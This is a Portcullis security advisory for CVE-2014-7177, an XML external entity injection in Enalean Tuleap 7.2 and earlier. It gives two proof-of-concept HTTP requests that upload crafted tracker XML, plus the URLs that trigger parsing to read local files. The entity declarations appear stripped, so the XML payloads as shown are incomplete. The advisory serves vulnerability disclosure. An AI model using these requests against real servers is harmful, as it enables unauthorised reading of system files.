Vulnerability title: Tuleap <= 7.2 External XML Entity Injection in Enalean Tuleap
CVE: CVE-2014-7177
Vendor: Enalean
Product: Tuleap
Affected version: 7.2 and earlier
Fixed version: 7.4.99.5
Reported by: Jerzy Kramarz
Details:
A multiple XML External Entity Injection has been found and confirmed within the software as an authenticated user. Successful attack could allow an authenticated attacker to access local system files. The following example vectors can be used as PoC to confirm the vulnerability.
Vulnerability 1:
1) Upload a XXE using the following request:
POST /plugins/tracker/?group_id=102&func=create HTTP/1.1
Host: [ip]
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://[ip]/plugins/tracker/?group_id=102&func=create
Cookie: PHPSESSID=ujjrs6r6mssqn5gd5j83cmner4; TULEAP_session_hash=4a8075ce16e338b4015405cfa2816319
Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------25777276834778
Content-Length: 10561
-----------------------------25777276834778
Content-Disposition: form-data; name="group_id"
102
-----------------------------25777276834778
Content-Disposition: form-data; name="func"
docreate
-----------------------------25777276834778
Content-Disposition: form-data; name="group_id_template"
100
-----------------------------25777276834778
Content-Disposition: form-data; name="tracker_new_prjname"
Commencez à taper
-----------------------------25777276834778
Content-Disposition: form-data; name="create_mode"
xml
-----------------------------25777276834778
Content-Disposition: form-data; name="tracker_new_xml_file"; filename="xee.xml"
Content-Type: text/xml
]>
123&xxe;e123&xxe;123&xxe;attachmentdetailsA full description of the artifact&xxe;summaryOne line description of the artifact&xxe;ccstatus_idArtifact StatusThe artifact has been submitted&xxe;The artifact is no longer active. See the Resolution field for details on how it was resolved.&xxe;assigned_toWho is in charge of solving the artifact&xxe;category_idGenerally correspond to high level modules or functionalities of your software (e.g. User interface, Configuration Manager, Scheduler, Memory Manager...)severityHow quickly the artifact must be completedstage&xxe;Stage in the life cycle of the artifact&xxe;The artifact has just been submittedThe cause of the artifact has been identified and documentedThe artifact will be worked on.The artifact is being worked on.Updated/Created non-software work product (e.g. documentation) is ready for review and approval.Updated/Created software is ready to be included in the next buildUpdated/Created software is in the build and is ready to enter the test phaseThe artifact fix has been succesfully tested. It is approved and awaiting release.The artifact was not accepted.The artifact is closed.DefaultThe system default artifact reportResultsDefaultGraphic Report By Default For Support Requests
-----------------------------25777276834778
Content-Disposition: form-data; name="name"
123
-----------------------------25777276834778
Content-Disposition: form-data; name="description"
123
-----------------------------25777276834778
Content-Disposition: form-data; name="itemname"
e123
-----------------------------25777276834778
Content-Disposition: form-data; name="Create"
Créer
-----------------------------25777276834778--
2) The server will respond giving back a 'tracker number' in the response. The response contain link to specific "tracker" which will be similar to the following:
https://[ip]/plugins/tracker/?group_id=102&tracker=11
3) Using retrieved tracker number, a XXE can be trigerred by visiting the following URL:
https://[ip]/plugins/tracker/?tracker=11&func=admin-formElements
Vulnerability 2
1) Upload a XXE using the following request:
<
POST /plugins/tracker/?group_id=102&func=create HTTP/1.1
Host: [ip]
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://[ip]/plugins/tracker/?group_id=102&func=create
Cookie: PHPSESSID=ujjrs6r6mssqn5gd5j83cmner4; TULEAP_session_hash=e619b58add92383b3647ee5ba68c4a79
Connection: keep-alive
Content-Type: multipart/form-data; boundary=---------------------------12077103611061
Content-Length: 25588
-----------------------------12077103611061
Content-Disposition: form-data; name="group_id"
102
-----------------------------12077103611061
Content-Disposition: form-data; name="func"
docreate
-----------------------------12077103611061
Content-Disposition: form-data; name="group_id_template"
100
-----------------------------12077103611061
Content-Disposition: form-data; name="tracker_new_prjname"
Commencez à taper
-----------------------------12077103611061
Content-Disposition: form-data; name="create_mode"
xml
-----------------------------12077103611061
Content-Disposition: form-data; name="tracker_new_xml_file"; filename="tracker_bugs.xml"
Content-Type: text/xml
]>
BugsbugBugs Trackercolumn8artifact_idUnique artifact identifier&xxe;submitted_byUser who originally submitted the artifact&xxe;column10&xxe;last_update_dateDate and time of the latest modification in an artifact&xxe;open_date&xxe;Date and time for the initial artifact submission&xxe;fieldset_1fieldset_default_desc_keysummaryOne line description of the artifactdetailsA full description of the artifactcolumn10severityImpact of the artifact on the system (Critical, Major,...)column10categoryGenerally correspond to high level modules or functionalities of your software (e.g. User interface, Configuration Manager, Scheduler, Memory Manager...)close_dateEnd Datemulti_assigned_toWho is in charge of this artifactfieldset1column3status_idArtifact StatusstageStage in the life cycle of the artifactThe artifact has just been submittedThe cause of the artifact has been identified and documentedThe artifact will be worked on.The artifact is being worked on.Updated/Created non-software work product (e.g. documentation) is ready for review and approval.Updated/Created software is ready to be included in the next buildUpdated/Created software is in the build and is ready to enter the test phaseThe artifact fix has been succesfully tested. It is approved and awaiting release.The artifact was not accepted.The artifact is closed.column4resolutionThe resolution field indicates what happened to the bug.column9assigned_toWho is in charge of solving the artifactfieldset1attachmentfieldset1cross_referencesList of items referenced by or referencing this item.referencesfieldset1permissions_on_artifactLet users groups to define who can access an artifact.platformsourceCustomer from which the request comes from.versionProduct version concerned by the bug.titleDéfinir le titre d'un artéfactstatusDéfinir l'état d'un artifactcontributorDefine the contributor/assignee of an artifactBugsThe system default artifact reportResultsChartsGraphic ReportStatusNumber of Artifacts by StatusSeverityNumber of Artifacts by severity levelAssignmentNumber of Artifacts by AssigneeDefaultThe system default artifact reportResults1
-----------------------------12077103611061
Content-Disposition: form-data; name="name"
Bugs
-----------------------------12077103611061
Content-Disposition: form-data; name="description"
Bugs Tracker
-----------------------------12077103611061
Content-Disposition: form-data; name="itemname"
bug
-----------------------------12077103611061
Content-Disposition: form-data; name="Create"
Créer
-----------------------------12077103611061--
2) The server will respond giving back a 'tracker number' in the response. The response contain link to specific "tracker" which will be similar to the following:
https://[ip]/plugins/tracker/?group_id=102&tracker=12
3) Using retrieved tracker number and URL, a XXE can be trigerred by visiting the retrieved URL:
https://[ip]/plugins/tracker/?group_id=102&tracker=12
Further details at:
https://www.portcullis-security.com/security-research-and-downloads/security-advisories/cve-2014-7177/
Copyright:
Copyright (c) Portcullis Computer Security Limited 2014, All rights reserved worldwide. Permission is hereby granted for the electronic redistribution of this information. It is not to be edited or altered in any way without the express written consent of Portcullis Computer Security Limited.
Disclaimer:
The information herein contained may change without notice. Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. In no event shall the author/distributor (Portcullis Computer Security Limited) be held liable for any damages whatsoever arising out of or in connection with the use or spread of this information.